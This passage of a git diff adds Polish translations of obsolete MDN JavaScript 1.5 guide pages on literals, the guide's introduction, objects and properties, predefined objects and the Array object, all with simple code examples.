+<pre>mojaLista = [ , 'dom', , 'szkoła'];</pre>
+<p>W ostatnim przykładzie długość <code>tablicy</code> wynosi cztery i brakuje mojaLista{{ mediawiki.external(1) }} i mojaLista{{ mediawiki.external(3) }}. Tylko ostatni przecinek jest ignorowany. Jest on opcjonalny.
+</p>
+<pre>mojaLista = ['dom', , 'szkoła', , ];</pre>
+<h4 id="Litera.C5.82y_logiczne" name="Litera.C5.82y_logiczne"> Literały logiczne </h4>
+<p>Typ logiczny posiada dwie wartości: <code>true</code> i <code>false</code>.
+</p><p>Nie wolno mylić pierwotnych wartości logicznych <code>true</code> i <code>false</code> z wartościami prawda i fałsz (true/false) obiektu logicznego. Obiekt logiczny jest obiektem opakowującym pierwotnego typu danych logicznych. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean">obiekt Boolean</a>, aby uzyskać więcej informacji.
+</p>
+<h4 id="Litera.C5.82y_ca.C5.82kowite" name="Litera.C5.82y_ca.C5.82kowite"> Literały całkowite </h4>
+<p>Liczby całkowite mogą być wyrażane jako dziesiętne (podstawa 10), szesnastkowe (podstawa 16) i ósemkowe (podstawa 8). Dziesiętny literał całkowity składa się z sekwencji cyfr bez czołowego 0 (zera). Czołowe 0 (zero) w literale całkowitym wskazuje na literał ósemkowy; Czołowe 0x (lub 0X) wskazuje na literał szesnastkowy. Liczby szesnastkowe mogą zawierać cyfry od 0 do 9 oraz litery a-f lub A-F. Ósemkowe literały całkowite mogą zawierać tylko cyfry od 0 do 7.
+</p><p>Ósemkowe literały całkowite są wycofywane i zostały usunięte ze 3 edycji standardu ECMA-262. JavaScript 1.5 wciąż wspiera je dla kompatybilności wstecznej.
+</p><p>Przykładami literałów całkowitych są:
+</p>
+<pre class="eval">0, 117 i -345 (dziesiętne, podstawa 10)
+015, 0001 i -077 (ósemkowe, podstawa 8)
+0x1123, 0x00111 i -0xF1A7 (szesnastkowe, "hex" lub podstawa 16)
+</pre>
+<h4 id="Litera.C5.82y_zmiennoprzecinkowe" name="Litera.C5.82y_zmiennoprzecinkowe"> Literały zmiennoprzecinkowe </h4>
+<p>Literały zmiennoprzecinkowe mogą mieć następujące części:
+</p>
+<ul><li> Liczbę dziesiętną całkowitą mogąca posiadać znak (poprzedzona przez "+" lub "-"),
+</li><li> Znak dziesiętny ("."),
+</li><li> Ułamek (kolejna liczba dziesiętna),
+</li><li> Wykładnik.
+</li></ul>
+<p>Wykładnik stanowi "e" lub "E", po którym następuje liczba całkowita mogąca posiadać znak (poprzedzona przez "+" lub "-"). Literały zmiennoprzecinkowe muszą posiadać co najmniej jedną cyfrę; muszą także posiadać "e" (lub "E") bądź znak dziesiętny.
+</p><p>Przykładami literałów zmiennoprzecinkowych są 3.1415, -3.1E12, .1e12 i 2E-12.
+</p><p>Ściślej, składnia jest następująca:
+</p>
+<pre class="eval">[cyfry][.cyfry][(E|e)[(+|-)]cyfry]
+</pre>
+<p>Na przykład:
+</p>
+<pre class="eval">3.14
+2345.789
+.3333333333333333333
+</pre>
+<h4 id="Litera.C5.82y_obiektu" name="Litera.C5.82y_obiektu"> Literały obiektu </h4>
+<p>Literał obiektu stanowi ujęta w nawias klamrowy ({}) lista składająca się z zera lub większej liczby par, które stanowią nazwa własności obiektu oraz przypisana jej wartość. Nie powinno się używać literału obiektu na początku instrukcji. Doprowadzi to do wystąpienia błędu lub nieoczekiwanych zachowań, gdyż { zostanie zinterpretowany jako początek bloku.
+</p><p>Poniżej podany jest przykład literału obiektu. Pierwszy element obiektu <code>auto</code> definiuje własność <code>mojeAuto</code>; drugi element, własność <code>pobierzAuto</code>, wywołuje funkcję <code>(TypyAut("Polonez"));</code> trzeci element, własność <code>specjalne</code>, używa istniejącej zmiennej (<code>Sprzedaz</code>).
+</p>
+<pre>var Sprzedaz = "Toyota";
+
+function TypyAut(nazwa) {
+ if(nazwa == "Polonez")
+ return nazwa;
+ else
+ return "Przykro nam, ale nie sprzedajemy marki " + nazwa + ".";
+}
+
+auto = {mojeAuto: "Caro", pobierzAuto: TypyAut("Polonez"), specjalne: Sprzedaz}
+
+document.write(auto.mojeAuto); // Caro
+document.write(auto.pobierzAuto); // Polonez
+document.write(auto.specjalne); // Toyota</pre>
+<p>Dodatkowo, możesz użyć literału znakowego lub liczbowego jako nazwy własności lub zagnieździć obiekt wewnątrz innego. Ilustruje to poniższy przykład.
+</p>
+<pre>auto = {wieleAut: {a: "Saab", b: "Jeep"}, 7: "Mazda"}
+
+document.write(auto.wieleAut.b); // Jeep
+document.write(auto[7]); // Mazda
+</pre>
+<p>Zauważ:
+</p>
+<pre class="eval">foo = {a: "alfa", 2: "dwa"}
+document.write (foo.a) // alfa
+document.write (foo[2]) // dwa
+//document.write (foo.2) // Błąd: brakuje ) po liście argumentów
+//document.write (foo[a]) // Błąd: a nie jest zdefiniowane
+document.write (foo["a"]) // alfa
+document.write (foo["2"]) // dwa
+</pre>
+<h4 id="Litera.C5.82y_znakowe" name="Litera.C5.82y_znakowe"> Literały znakowe </h4>
+<p>Literały znakowe to zero lub więcej znaków zamkniętych w podwójnych (") lub pojedynczych (') znacznikach cytatu. Łańcuch znaków musi być ograniczony przez znaczniki tego samego typu, a więc obydwa pojedyncze lub obydwa podwójne znaki cytatu. Poniżej umieszczono przykłady literałów znakowych:
+</p>
+<ul><li> "bla"
+</li><li> 'bla'
+</li><li> "1234"
+</li><li> "jedna linia \n kolejna linia"
+</li><li> "kot Ali"
+</li></ul>
+<p>Możesz wywołać dowolną metodę obiektu String na wartości literału znakowego - JavaScript automatycznie skonwertuje literał znakowy do tymczasowego obiektu String, wywoła metodę, a następnie pozbędzie się tymczasowego obiektu String. Możesz również użyć własności <code>String.length</code> z literałem znakowym:
+</p>
+<ul><li> "kot Ali".length
+</li></ul>
+<p>Powinieneś użyć literału znakowego, chyba że potrzebujesz szczególnie obiektu String. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String">obiekt String</a>, aby uzyskać szczegółowe informacje o obiektach String.
+</p>
+<h5 id="U.C5.BCywanie_specjalnych_znak.C3.B3w_w_.C5.82a.C5.84cuchach" name="U.C5.BCywanie_specjalnych_znak.C3.B3w_w_.C5.82a.C5.84cuchach"> Używanie specjalnych znaków w łańcuchach </h5>
+<p>Dodatkowo oprócz znaków zwykłych możesz także włączyć do łańcuchów specjalne znaki, tak jak pokazano w przykładzie: </p>
+<pre>"pierwsza linia \n następna linia"</pre>
+<p>Poniższa tabela przedstawia znaki specjalne, które możesz użyć w łańcuchach znaków JavaScript.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Znak</th>
+<th>Znaczenie</th>
+</tr>
+<tr>
+<td><b>\b</b></td>
+<td>Backspace</td>
+</tr>
+<tr>
+<td><b>\f</b></td>
+<td>Nowa strona</td>
+</tr>
+<tr>
+<td><b>\n</b></td>
+<td>Nowa linia</td>
+</tr>
+<tr>
+<td><b>\r</b></td>
+<td>Powrót karetki</td>
+</tr>
+<tr>
+<td><b>\t</b></td>
+<td>Tabulacja</td>
+</tr>
+<tr>
+<td><b>\v</b></td>
+<td>Tabulacja pionowa</td>
+</tr>
+<tr>
+<td><b>\'</b></td>
+<td>Apostrof lub pojedynczy cudzysłów</td>
+</tr>
+<tr>
+<td><b>\"</b></td>
+<td>Podwójny cudzysłów</td>
+</tr>
+<tr>
+<td><b>\\</b></td>
+<td>Lewy ukośnik (\).</td>
+</tr>
+<tr>
+<td><b>\<i>XXX</i></b></td>
+<td>Znaki z kodowaniem Latin-1 określone przez do trzech cyfrósemkowych <i>XXX</i> pomiędzy 0 i 377. Na przykład \251 jest sekwencją ósemkową dla symbolu copyright.</td>
+</tr>
+<tr>
+<td><b>\x<i>XX</i></b></td>
+<td>Znaki z kodowaniem Latin-1 określone przez dwie cyfry szesnastkowe <i>XX</i> pomiędzy 00 i FF. Na przykład \xA9 jest szesnastkową sekwencją dla symbolu copyright.</td>
+</tr>
+<tr>
+<td><b>\u<i>XXXX</i></b></td>
+<td>Znak Unicode określony przez cztery cyfry szesnastkowe <i>XXXX</i>. Na przykład \u00A9 jest sekwencją Unicode dla symbolu copyright. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Unicode#Sekwencje_ucieczki_do_Unicode">Sekwencje ucieczki do Unicode</a>.</td>
+</tr>
+</tbody></table>
+<p><small><b>Tabela 2.1: Znaki specjalne w JavaScript</b></small>
+</p>
+<h5 id="Znaki_ucieczki" name="Znaki_ucieczki"> Znaki ucieczki </h5>
+<p>Dla znaków niewymienionych w tabeli powyżej, poprzedzający znak backslash jest ignorowany, ale użycie tego jest wycofywane i powinno być unikane.
+</p><p>Możesz wstawić znak cudzysłowu wewnątrz łańcucha znaków poprzedzając go znakiem backslash. Znane jest to jako <i>kodowanie</i> (<i>escaping</i>) znaków cudzysłowu. Na przykład:
+</p>
+<pre>var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service."
+document.write(quote)
+</pre>
+<p>Rezultatem tego będzie:
+</p>
+<pre>He read "The Cremation of Sam McGee" by R.W. Service.
+</pre>
+<p>Aby użyć literału backslash w łańcuchu znaków, musisz zastosować znak backslash. Na przykład, aby przydzielić plikowi ścieżkę <code><b>c:\temp</b></code> do łańcucha znaków, użyj następującej konstrukcji:
+</p>
+<pre>var home = "c:\\temp "
+</pre>
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Stałe", "Przewodnik po języku JavaScript 1.5:Unicode") }}
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Literals", "es": "es/Gu\u00eda_JavaScript_1.5/Literales", "fr": "fr/Guide_JavaScript_1.5/Constantes_litt\u00e9rales", "ja": "ja/Core_JavaScript_1.5_Guide/Literals", "ko": "ko/Core_JavaScript_1.5_Guide/Literals", "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u6587\u672c\u5316" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/o_tym_przewodniku/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/o_tym_przewodniku/index.html
new file mode 100644
index 0000000000..0fd0f2ec8a
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/o_tym_przewodniku/index.html
@@ -0,0 +1,159 @@
+---
+title: O tym przewodniku
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+---
+<h3 id="Nowe_mo.C5.BCliwo.C5.9Bci_wersji_JavaScriptu" name="Nowe_mo.C5.BCliwo.C5.9Bci_wersji_JavaScriptu">Nowe możliwości wersji JavaScriptu</h3>
+
+<ul>
+ <li><a href="pl/Nowo%c5%9bci_w_JavaScript_1.5">Nowości w JavaScript 1.5</a></li>
+ <li><a href="pl/Nowo%c5%9bci_w_JavaScript_1.6">Nowości w JavaScript 1.6</a></li>
+ <li><a href="pl/Nowo%c5%9bci_w_JavaScript_1.7">Nowości w JavaScript 1.7</a></li>
+ <li><a href="pl/Nowo%c5%9bci_w_JavaScript_1.8">Nowości w JavaScript 1.8</a></li>
+</ul>
+
+<h3 id="Co_ju.C5.BC_powiniene.C5.9B_wiedzie.C4.87" name="Co_ju.C5.BC_powiniene.C5.9B_wiedzie.C4.87">Co już powinieneś wiedzieć</h3>
+
+<p>Ten dokument zakłada, że jego czytelnik ma podstawowe pojęcie na temat niżej wymienionych dziedzin:</p>
+
+<ul>
+ <li>ogólne rozumienie sieci Internet i WWW.</li>
+ <li>dobra praktyczna znajomość języka HTML (<a href="pl/HTML">HTML</a>).</li>
+</ul>
+
+<p>Przydatne, aczkolwiek nie wymagane, jest doświadczenie w językach programowania takich jak C czy Visual Basic.</p>
+
+<h3 id="Wersje_JavaScriptu" name="Wersje_JavaScriptu">Wersje JavaScriptu</h3>
+
+<p>Każda wersja przeglądarek Netscape Navigator, Mozilla i Mozilla Firefox obsługuje różne wersje języka JavaScript. Aby ułatwić pisanie skryptów zgodnych z różnymi wersjami przeglądarek Netscape/Mozilla/Firefox, w każdym rozdziale poświęconym danej możliwości języka podajemy listę wersji JavaScriptu obsługujących daną funkcjonalność.</p>
+
+<p>Poniższa tabela zawiera numery wersji JavaScriptu i odpowiadające im numery wersji przeglądarek te wersje obsługujących. Wersje Netscape Navigatora starsze niż 2.0 nie obsługują JavaScriptu.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Wersja JavaScript</th>
+ <th>Wersja Navigatora</th>
+ </tr>
+ <tr>
+ <td>JavaScript 1.0</td>
+ <td>Navigator 2.0</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.1</td>
+ <td>Navigator 3.0</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.2</td>
+ <td>Navigator 4.0-4.05</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.3</td>
+ <td>Navigator 4.06-4.7x</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.4</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.5</td>
+ <td>Navigator 6.0<br>
+ Mozilla (przeglądarka open source)</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.6</td>
+ <td><a href="pl/Firefox_1.5">Firefox 1.5</a>, other Mozilla 1.8-based products</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.7</td>
+ <td><a href="pl/Firefox_2">Firefox 2</a>, other Mozilla 1.8.1-based products</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.8</td>
+ <td><a href="pl/Firefox_3">Firefox 3</a>, other Gecko 1.9-based products</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><small><strong>Tablica 1: Wersje JavaScriptu oraz Navigatora</strong></small><br>
+  </p>
+
+<p>Każda wersja serwera Netscape Enterprise Server także obsługuje inną wersję JavaScriptu. Aby ułatwić pisanie skryptów zgodnych z różnymi wersjami Enterprise Server, w każdym rozdziale poświęconym danej możliwości języka podajemy wersję NES/FES, w której zaimplementowano daną funkcjonalność.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Skrót</th>
+ <th>Wersja Enterprise Server</th>
+ </tr>
+ <tr>
+ <td>NES 2.0</td>
+ <td>Netscape Enterprise Server 2.0</td>
+ </tr>
+ <tr>
+ <td>NES 3.0</td>
+ <td>Netscape Enterprise Server 3.0</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><small><strong>Tablica 2: Skróty oraz wersje Netscape Enterprise Server</strong></small></p>
+
+<h3 id="Gdzie_szuka.C4.87_informacji_o_JavaScripcie" name="Gdzie_szuka.C4.87_informacji_o_JavaScripcie">Gdzie szukać informacji o JavaScripcie</h3>
+
+<p>Na kompletną bazę informacji o języku JavaScript składają się następujące dokumenty:</p>
+
+<ul>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">Przewodnik po języku JavaScript 1.5</a> (ten dokument) - dostarcza informacji na temat samego języka JavaScript i jego obiektów.</li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">Dokumentacja języka JavaScript 1.5</a> - dostarcza informacji na temat języka JavaScript w formie encyklopedycznej</li>
+</ul>
+
+<p>Jeśli JavaScript stanowi dla Ciebie nowość, zacznij od <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">Przewodnika po języku JavaScript 1.5</a>. Kiedy posiądziesz już podstawową wiedzę, możesz skorzystać z <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">Dokumentacji języka JavaScript 1.5</a>, by szybko odnaleźć konkretne informacje na temat obiektów i poleceń.</p>
+
+<h3 id="Wskaz.C3.B3wki_do_nauki_JavaScript" name="Wskaz.C3.B3wki_do_nauki_JavaScript">Wskazówki do nauki JavaScript</h3>
+
+<p>Rozpoczęcie pracy z JavaScript jest proste: wszystko czego potrzebujecie to nowoczesna przeglądarka internetowa. Ten przewodnik zawiera elementy JavaScript, które są rozpoznawalne jedynie w ostatnich najnowszych wersji przeglądarki Firefox (lub w innych opartych na silniku Gecko przeglądarkach), dlatego zaleca się używanie jak najnowszej wersji przeglądarki Firefox.</p>
+
+<h4 id="Interaktywny_interpreter" name="Interaktywny_interpreter">Interaktywny interpreter</h4>
+
+<p>Do nauki języka zachęca wspaniały interpreter, który umożliwia pełną interaktywność bez zapisywania i odświeżania strony. Konsola błędów Firefox, dostępna w menu narzędzia, oferuje łatwy, interaktywny, sposób wykonywania skryptów JavaScript: po prostu wejdź na linię kodu oraz kliknij przycisk "Evaluate".</p>
+
+<p><img alt="Image:ErrorConsole.png"></p>
+
+<h4 id="Firebug" name="Firebug">Firebug</h4>
+
+<p>Bardziej zaawansowana interaktywna podpowiedź dostępna jest pod adresem: <a class="external" href="http://www.getfirebug.com/">Firebug</a>, trzecia część rozszerzenia Firefox. Firebug dostarcza zarówno zaawansowany kontroler DOM, jak i debuger JavaScript oraz przydatne narzędzia i różne inne programy użytkowe:</p>
+
+<p><img alt="Image:Firebug.png"></p>
+
+<p>jedno z najbardziej użytecznych ułatwień oferowanych przez Firebug w <code>console.log()</code>, funkcja która zapisuje jego argumenty do konsoli Firebug. W przeciwieństwie do innych języków programowania w JavaScript nie ma możliwości pisania na standardowym wyjściu. <code>console.log()</code> stanowi pożyteczną alternatywę obserwowania bardzo łatwo tego co twój program robi.</p>
+
+<p>Wiele przykładów w tym przewodniku używa <code>alert()</code> do zobaczenia komunikatów z ich wykonania. Jeśli masz zainstalowanego Firebug możesz użyć <code>console.log()</code> w miejsce <code>alert()</code> w czasie działania tych przykładów.</p>
+
+<h3 id="Konwencje_dokumentu" name="Konwencje_dokumentu">Konwencje dokumentu</h3>
+
+<p>Aplikacje JavaScript działają pod wieloma systemami operacyjnymi; informacje zawarte w tym przewodniku dotyczą ich wszystkich. Ścieżki plików i katalogów są podane w formacie Windows (z odwrotnym ukośnikiem oddzielającym nazwy folderów). Pod Uniksami ścieżki są te same, wystarczy jedynie zastąpić odwrotny ukośnik<em>\</em> zwykłym ukośnikiem<em>/</em> .</p>
+
+<p>Przewodnik ten używa uniform resource locators (adresów URL) w następującej formie:</p>
+
+<p><code><span class="nowiki">http://server.domain/path/file.html</span></code></p>
+
+<p>W tym adresie URL, "serwer" reprezentowany jest poprzez nazwę znajdującą się na serwerze w której uruchomisz aplikacje, także jako poszukiwane słowo lub strona WWW; "domena" reprezentowana jest poprzez twoją nazwę domeny w internecie, tak jak netscape.com lub uiuc.edu; "ścieżki" reprezentują strukturę katalogów na tym serwerze, a "file.html" reprezentuje indywidualną nazwę pliku. Generalnie pozycje, które mają w ścieżce kursywę, która jest osadzona i jest ona normalną czcionką literową. Jeśli twój serwer posiada Secure Sockets Layer (SSL), będziesz używał protokołu https zamiast http w adresie URL.</p>
+
+<p>Przewodnik ten stosuje z następującą konwencją czcionki:</p>
+
+<dl>
+ <dt>Czcionka <code>monospace</code></dt>
+ <dd>Jest użyta do prostych kodów oraz ich listingów, API i elementy języka (także jako metody i nazwy własności), nazwa pliku, nazwa ścieżki, nazwa katalogu, tagi HTML i jakiś tekst musi być zadeklarowany przy wyświetlaniu. (Kursywa czcionki Monospace jest użyta w osadzonych miejscach klasera w kodzie strony).</dd>
+ <dt>Kursywa </dt>
+ <dd>Jest użyta dla tytułów, nagłówków, zmiennych i specjalnych miejscach, i słów użytych w dosłownym znaczeniu.</dd>
+ <dt>Boldface </dt>
+ <dd>Typ używany do terminów słownikowych.</dd>
+</dl>
+
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5", "Przewodnik po języku JavaScript 1.5:Przegląd JavaScriptu") }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_i_własności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_i_własności/index.html
new file mode 100644
index 0000000000..0495bbc3fc
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_i_własności/index.html
@@ -0,0 +1,49 @@
+---
+title: Obiekty i własności
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_i_własności
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Working_with_Objects
+---
+<p>
+</p>
+<h3 id="Obiekty_i_w.C5.82asno.C5.9Bci" name="Obiekty_i_w.C5.82asno.C5.9Bci"> Obiekty i własności </h3>
+<p>Obiekty JavaScript łączą się z ich własnościami. Do własności obiektu odwołujesz się za pomocą prostego zapisu:
+</p>
+<pre>objectName.propertyName
+</pre>
+<p>Wielkości znaków w nazwie mają znaczenie zarówno w przypadku obiektu jak i jego własności. Własności definiujesz poprzez przypisanie do niej wartości. Na przykład, przypuśćmy, że mamy obiekt o nazwie <code>myCar</code> (na razie załóżmy że ten obiekt już istnieje). Możesz zadeklarować (i jednocześnie zdefiniować) własności <code>make</code>, <code>model</code> i <code>year</code> tego obiektu następująco:
+</p>
+<pre>myCar.make = "Ford";
+myCar.model = "Mustang";
+myCar.year = 1969;
+</pre>
+<p>Tablica jest uporządkowanym zbiorem wartości związanych z pojedynczymi nazwami zmiennych. Własności i tablice są w języku JavaScript bardzo ze sobą powiązane; właściwie są różnymi reprezentacjami tej samej struktury danych. Na przykład możesz wywoływać własności obiektu <code>myCar</code> następująco:
+</p>
+<pre>myCar["make"] = "Ford"
+myCar["model"] = "Mustang"
+myCar["year"] = 1967
+</pre>
+<p>Ten typ tablicy nazywa się <b>tablicą asocjacyjną</b> (czasem <b>listą asocjacyjną</b>), ponieważ każdy jej element jest związany także z pewną wartością typu String. Ilustracją tego mechanizmu działania jest niżej zamieszczona funkcja wyświetlająca własności obiektu, który jest jej pierwszym argumentem podczas wywołania:
+</p>
+<pre>function show_props(obj, obj_name) {
+ var result = "";
+ for (var i in obj)
+ result += obj_name + "." + i + " = " + obj[i] + "\n";
+ return result
+}
+</pre>
+<p>Więc funkcje <code>call show_props(myCar, "myCar")</code> zwróciły następująco:
+</p>
+<pre>myCar.make = Ford
+myCar.model = Mustang
+myCar.year = 1967
+</pre>
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Funkcje predefiniowane:Funkcje escape i unescape", "Przewodnik po języku JavaScript 1.5:Tworzenie nowych obiektów") }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Objects_and_Properties", "es": "es/Gu\u00eda_JavaScript_1.5/Objetos_y_propiedades", "fr": "fr/Guide_JavaScript_1.5/Objets_et_propri\u00e9t\u00e9s", "ja": "ja/Core_JavaScript_1.5_Guide/Objects_and_Properties" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/index.html
new file mode 100644
index 0000000000..35f23dc503
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/index.html
@@ -0,0 +1,24 @@
+---
+title: Obiekty predefiniowane
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide
+---
+<p>
+</p>
+<h3 id="Obiekty_predefiniowane" name="Obiekty_predefiniowane"> Obiekty predefiniowane </h3>
+<p>Artykuł opisuje obiekty predefiniowane w JavaScript: </p>
+<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array">Obiekt <code>Array</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean">Obiekt <code>Boolean</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date">Obiekt <code>Date</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function">Obiekt <code>function</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math">Obiekt <code>Math</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number">Obiekt <code>Number</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp">Obiekt <code>RegExp</code></a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String">Obiekt <code>String</code></a>
+</li></ul>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "es": "es/Gu\u00eda_JavaScript_1.5/Objetos_base_predefinidos", "fr": "fr/Guide_JavaScript_1.5/Objets_pr\u00e9d\u00e9finis", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "ko": "ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_array/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_array/index.html
new file mode 100644
index 0000000000..9befbd17cc
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_array/index.html
@@ -0,0 +1,94 @@
+---
+title: Obiekt Array
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Obiekt_Array" name="Obiekt_Array">Obiekt Array</h3>
+<p>JavaScript nie ma wyraźnych danych typu
+ <i>
+ array</i>
+ . Jednakże, możesz użyć predefiniowanego obiektu <code><b>Array</b></code> i jego metod do pracy z tabelami w twojej aplikacji. Obiekt <code><b>Array</b></code> posiada metody do manipulacji tablicami w zmiennych przypadkach, także jako łączyć, odwraca je na lewą stronę, i sortuje je. Decydując o długości
+ <i>
+ array</i>
+ i innych właściwości użytych w wyrażeniach regularnych.</p>
+<p>
+ <i>
+ array</i>
+ jest uporządkowane ustawienia wartości, które odsyłają do nazwy i indeksu. Na przykład, możesz mieć tablice nazwaną <code><b>emp</b></code>, która stanowi nazwę indeksu przez jego numer pracownika. Więc <code><b>emp{{ mediawiki.external(1) }}</b></code> będzie pracownik z numerem jeden, <code><b>emp{{ mediawiki.external(2) }}</b></code> pracownik z numerem dwa i tak dalej.</p>
+<h4 id="Tworzenie_tablicy" name="Tworzenie_tablicy">Tworzenie tablicy</h4>
+<p>Utwórz obiekt <code><b>Array</b></code>:</p>
+<pre>1. arrayObjectName = new Array(element0, element1, ..., elementN)
+2. arrayObjectName = new Array(arrayLength)
+</pre>
+<p><code><b>arrayObjectName</b></code> jest nazwą nowego obiektu lub właściwości istniejącego obiektu. Kiedy używamy właściwości i metody <code><b>Array</b></code>, <b>arrayObjectName</b> jest nazwą istniejącego obiektu <code><b>Array</b></code> lub właściwość istniejącego obiektu.</p>
+<p><code><b>element0, element1, ..., elementN</b></code> jest listą wartości dla elementów tablicowych. Kiedy ta forma określa, inicjowanie tablicy z określoną wartością jako jego elementy i właściwości długości tablicowej, która jest ustawiona jako liczby lub argumenty.</p>
+<p><code><b>arrayLength</b></code> jest inicjowanie długości w tablicy. Następujący kod tworzy tablice na pięć elementów:</p>
+<pre>billingMethod = new Array(5)
+</pre>
+<p>Literały Array sa także obiektami <code><b>Array</b></code>; na przykład, następujący literał jest obiektem <code><b>Array</b></code>. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Litera%c5%82y#Litera.C5.82y_tablicy">Literały tablicy</a> aby uzyskać więcej szczegółów.</p>
+<pre>coffees = ["French Roast", "Columbian", "Kona"]
+</pre>
+<h4 id="Zape.C5.82nienie_tablicy" name="Zape.C5.82nienie_tablicy">Zapełnienie tablicy</h4>
+<p>Możesz wypełnić tablicę przydzielonymi wartościami elementów. Na przykład,</p>
+<pre>emp[1] = "Casey Jones"
+emp[2] = "Phil Lesh"
+emp[3] = "August West"
+</pre>
+<p>Możesz także wypełnić tablicę jeśli utworzysz:</p>
+<pre>myArray = new Array("Hello", myVar, 3.14159)
+</pre>
+<h4 id="Kierowanie_do_elementu_tablicy" name="Kierowanie_do_elementu_tablicy">Kierowanie do elementu tablicy</h4>
+<p>Kierowanie do elementu tablicy używając przypisanie numeru odpowiedniemu elementowi. Na przykład, przypuśćmy, że zdefiniujesz następującą tablice:</p>
+<pre>myArray = new Array("Wiatr","Deszcz","Ogień")
+</pre>
